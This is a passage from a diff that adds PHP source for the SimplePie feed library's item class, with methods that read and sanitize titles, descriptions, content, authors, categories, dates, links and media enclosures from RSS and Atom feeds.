+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags('', 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			else
+			{
+				$this->data['title'] = null;
+			}
+		}
+		return $this->data['title'];
+	}
+
+	function get_description($description_only = false)
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags('', 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (!$description_only)
+		{
+			return $this->get_content(true);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_content($content_only = false)
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'content'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_content_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'content'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif (!$content_only)
+		{
+			return $this->get_description(true);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_categories()
+	{
+		$categories = array();
+
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
+		{
+			$term = null;
+			$scheme = null;
+			$label = null;
+			if (isset($category['attribs']['']['term']))
+			{
+				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['scheme']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['label']))
+			{
+				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			$categories[] =& new $this->feed->category_class($term, $scheme, $label);
+		}
+		foreach ((array) $this->get_item_tags('', 'category') as $category)
+		{
+			$categories[] =& new $this->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
+		{
+			$categories[] =& new $this->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
+		{
+			$categories[] =& new $this->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+
+		if (!empty($categories))
+		{
+			return SimplePie_Misc::array_unique($categories);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_author($key = 0)
+	{
+		$authors = $this->get_authors();
+		if (isset($authors[$key]))
+		{
+			return $authors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_contributor($key = 0)
+	{
+		$contributors = $this->get_contributors();
+		if (isset($contributors[$key]))
+		{
+			return $contributors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_contributors()
+	{
+		$contributors = array();
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$contributors[] =& new $this->feed->author_class($name, $uri, $email);
+			}
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$contributors[] =& new $this->feed->author_class($name, $url, $email);
+			}
+		}
+
+		if (!empty($contributors))
+		{
+			return SimplePie_Misc::array_unique($contributors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * @todo Atom inheritance (item author, source author, feed author)
+	 */
+	function get_authors()
+	{
+		$authors = array();
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$authors[] =& new $this->feed->author_class($name, $uri, $email);
+			}
+		}
+		if ($author = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$authors[] =& new $this->feed->author_class($name, $url, $email);
+			}
+		}
+		if ($author = $this->get_item_tags('', 'author'))
+		{
+			$authors[] =& new $this->feed->author_class(null, null, $this->sanitize($author[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
+		{
+			$authors[] =& new $this->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
+		{
+			$authors[] =& new $this->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
+		{
+			$authors[] =& new $this->feed->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+
+		if (!empty($authors))
+		{
+			return SimplePie_Misc::array_unique($authors);
+		}
+		elseif (($source = $this->get_source()) && ($authors = $source->get_authors()))
+		{
+			return $authors;
+		}
+		elseif ($authors = $this->feed->get_authors())
+		{
+			return $authors;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_copyright()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_date($date_format = 'j F Y, g:i a')
+	{
+		if (!isset($this->data['date']))
+		{
+			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'published'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'updated'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'issued'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'created'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'modified'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags('', 'pubDate'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'date'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'date'))
+			{
+				$this->data['date']['raw'] = $return[0]['data'];
+			}
+
+			if (!empty($this->data['date']['raw']))
+			{
+				$parser = SimplePie_Parse_Date::get();
+				$this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']);
+			}
+			else
+			{
+				$this->data['date'] = null;
+			}
+		}
+		if ($this->data['date'])
+		{
+			$date_format = (string) $date_format;
+			switch ($date_format)
+			{
+				case '':
+					return $this->sanitize($this->data['date']['raw'], SIMPLEPIE_CONSTRUCT_TEXT);
+
+				case 'U':
+					return $this->data['date']['parsed'];
+
+				default:
+					return date($date_format, $this->data['date']['parsed']);
+			}
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_local_date($date_format = '%c')
+	{
+		if (!$date_format)
+		{
+			return $this->sanitize($this->get_date(''), SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (($date = $this->get_date('U')) !== null)
+		{
+			return strftime($date_format, $date);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_permalink()
+	{
+		$link = $this->get_link();
+		$enclosure = $this->get_enclosure(0);
+		if ($link !== null)
+		{
+			return $link;
+		}
+		elseif ($enclosure !== null)
+		{
+			return $enclosure->get_link();
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_link($key = 0, $rel = 'alternate')
+	{
+		$links = $this->get_links($rel);
+		if ($links[$key] !== null)
+		{
+			return $links[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_links($rel = 'alternate')
+	{
+		if (!isset($this->data['links']))
+		{
+			$this->data['links'] = array();
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']))
+				{
+					$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+					$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+
+				}
+			}
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']))
+				{
+					$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+					$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+				}
+			}
+			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_item_tags('', 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_item_tags('', 'guid'))
+			{
+				if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) == 'true')
+				{
+					$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+				}
+			}
+
+			$keys = array_keys($this->data['links']);
+			foreach ($keys as $key)
+			{
+				if (SimplePie_Misc::is_isegment_nz_nc($key))
+				{
+					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
+						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
+					}
+					else
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
+					}
+				}
+				elseif (substr($key, 0, 41) == SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
+				{
+					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
+				}
+				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
+			}
+		}
+		if (isset($this->data['links'][$rel]))
+		{
+			return $this->data['links'][$rel];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * @todo Add ability to prefer one type of content over another (in a media group).
+	 */
+	function get_enclosure($key = 0, $prefer = null)
+	{
+		$enclosures = $this->get_enclosures();
+		if (isset($enclosures[$key]))
+		{
+			return $enclosures[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Grabs all available enclosures (podcasts, etc.)
+	 *
+	 * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS.
+	 *
+	 * At this point, we're pretty much assuming that all enclosures for an item are the same content.  Anything else is too complicated to properly support.
+	 *
+	 * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4).
+	 * @todo If an element exists at a level, but it's value is empty, we should fall back to the value from the parent (if it exists).
+	 */
+	function get_enclosures()
+	{
+		if (!isset($this->data['enclosures']))
+		{
+			$this->data['enclosures'] = array();
+
+			// Elements
+			$captions_parent = null;
+			$categories_parent = null;
+			$copyrights_parent = null;
+			$credits_parent = null;
+			$description_parent = null;
+			$duration_parent = null;
+			$hashes_parent = null;
+			$keywords_parent = null;
+			$player_parent = null;
+			$ratings_parent = null;
+			$restrictions_parent = null;
+			$thumbnails_parent = null;
+			$title_parent = null;
+
+			// Let's do the channel and item-level ones first, and just re-use them if we need to.
+			$parent = $this->get_feed();
+
+			// CAPTIONS
+			if ($captions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text'))
+			{
+				foreach ($captions as $caption)
+				{
+					$caption_type = null;
+					$caption_lang = null;
+					$caption_startTime = null;
+					$caption_endTime = null;
+					$caption_text = null;
+					if (isset($caption['attribs']['']['type']))
+					{
+						$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['lang']))
+					{
+						$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['start']))
+					{
+						$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['end']))
+					{
+						$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['data']))
+					{
+						$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$captions_parent[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text);
+				}
+			}
+			elseif ($captions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'text'))
+			{
+				foreach ($captions as $caption)
+				{
+					$caption_type = null;
+					$caption_lang = null;
+					$caption_startTime = null;
+					$caption_endTime = null;
+					$caption_text = null;
+					if (isset($caption['attribs']['']['type']))
+					{
+						$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['lang']))
+					{
+						$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['start']))
+					{
+						$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['attribs']['']['end']))
+					{
+						$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($caption['data']))
+					{
+						$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$captions_parent[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text);
+				}
+			}
+			if (is_array($captions_parent))
+			{
+				$captions_parent = array_values(SimplePie_Misc::array_unique($captions_parent));
+			}
+
+			// CATEGORIES
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category)
+			{
+				$term = null;
+				$scheme = null;
+				$label = null;
+				if (isset($category['data']))
+				{
+					$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($category['attribs']['']['scheme']))
+				{
+					$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				else
+				{
+					$scheme = 'http://search.yahoo.com/mrss/category_schema';
+				}
+				if (isset($category['attribs']['']['label']))
+				{
+					$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$categories_parent[] =& new $this->feed->category_class($term, $scheme, $label);
+			}
+			foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'category') as $category)
+			{
+				$term = null;
+				$scheme = null;
+				$label = null;
+				if (isset($category['data']))
+				{
+					$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($category['attribs']['']['scheme']))
+				{
+					$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				else
+				{
+					$scheme = 'http://search.yahoo.com/mrss/category_schema';
+				}
+				if (isset($category['attribs']['']['label']))
+				{
+					$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$categories_parent[] =& new $this->feed->category_class($term, $scheme, $label);
+			}
+			foreach ((array) $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'category') as $category)
+			{
+				$term = null;
+				$scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd';
+				$label = null;
+				if (isset($category['attribs']['']['text']))
+				{
+					$label = $this->sanitize($category['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$categories_parent[] =& new $this->feed->category_class($term, $scheme, $label);
+
+				if (isset($category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category']))
+				{
+					foreach ((array) $category['child'][SIMPLEPIE_NAMESPACE_ITUNES]['category'] as $subcategory)
+					{
+						if (isset($subcategory['attribs']['']['text']))
+						{
+							$label = $this->sanitize($subcategory['attribs']['']['text'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						$categories_parent[] =& new $this->feed->category_class($term, $scheme, $label);
+					}
+				}
+			}
+			if (is_array($categories_parent))
+			{
+				$categories_parent = array_values(SimplePie_Misc::array_unique($categories_parent));
+			}
+
+			// COPYRIGHT
+			if ($copyright = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright'))
+			{
+				$copyright_url = null;
+				$copyright_label = null;
+				if (isset($copyright[0]['attribs']['']['url']))
+				{
+					$copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($copyright[0]['data']))
+				{
+					$copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$copyrights_parent =& new $this->feed->copyright_class($copyright_url, $copyright_label);
+			}
+			elseif ($copyright = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'copyright'))
+			{
+				$copyright_url = null;
+				$copyright_label = null;
+				if (isset($copyright[0]['attribs']['']['url']))
+				{
+					$copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				if (isset($copyright[0]['data']))
+				{
+					$copyright_label = $this->sanitize($copyright[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+				$copyrights_parent =& new $this->feed->copyright_class($copyright_url, $copyright_label);
+			}
+
+			// CREDITS
+			if ($credits = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit'))
+			{
+				foreach ($credits as $credit)
+				{
+					$credit_role = null;
+					$credit_scheme = null;
+					$credit_name = null;
+					if (isset($credit['attribs']['']['role']))
+					{
+						$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($credit['attribs']['']['scheme']))
+					{
+						$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$credit_scheme = 'urn:ebu';
+					}
+					if (isset($credit['data']))
+					{
+						$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$credits_parent[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name);
+				}
+			}
+			elseif ($credits = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'credit'))
+			{
+				foreach ($credits as $credit)
+				{
+					$credit_role = null;
+					$credit_scheme = null;
+					$credit_name = null;
+					if (isset($credit['attribs']['']['role']))
+					{
+						$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($credit['attribs']['']['scheme']))
+					{
+						$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					else
+					{
+						$credit_scheme = 'urn:ebu';
+					}
+					if (isset($credit['data']))
+					{
+						$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					$credits_parent[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name);
+				}
+			}
+			if (is_array($credits_parent))
+			{
+				$credits_parent = array_values(SimplePie_Misc::array_unique($credits_parent));
+			}
+
+			// DESCRIPTION
+			if ($description_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description'))
+			{
+				if (isset($description_parent[0]['data']))
+				{
+					$description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+			elseif ($description_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'description'))
+			{
+				if (isset($description_parent[0]['data']))
+				{
+					$description_parent = $this->sanitize($description_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+				}
+			}
+
+			// DURATION
+			if ($duration_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'duration'))
+			{
+				$seconds = null;
+				$minutes = null;
+				$hours = null;
+				if (isset($duration_parent[0]['data']))
+				{
+					$temp = explode(':', $this->sanitize($duration_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+					if (sizeof($temp) > 0)
+					{
+						(int) $seconds = array_pop($temp);
+					}
+					if (sizeof($temp) > 0)
+					{
+						(int) $minutes = array_pop($temp);
+						$seconds += $minutes * 60;
+					}
+					if (sizeof($temp) > 0)
+					{
+						(int) $hours = array_pop($temp);
+						$seconds += $hours * 3600;
+					}
+					unset($temp);
+					$duration_parent = $seconds;
+				}
+			}
+
+			// HASHES
+			if ($hashes_iterator = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'hash'))
+			{
+				foreach ($hashes_iterator as $hash)
+				{
+					$value = null;
+					$algo = null;
+					if (isset($hash['data']))
+					{
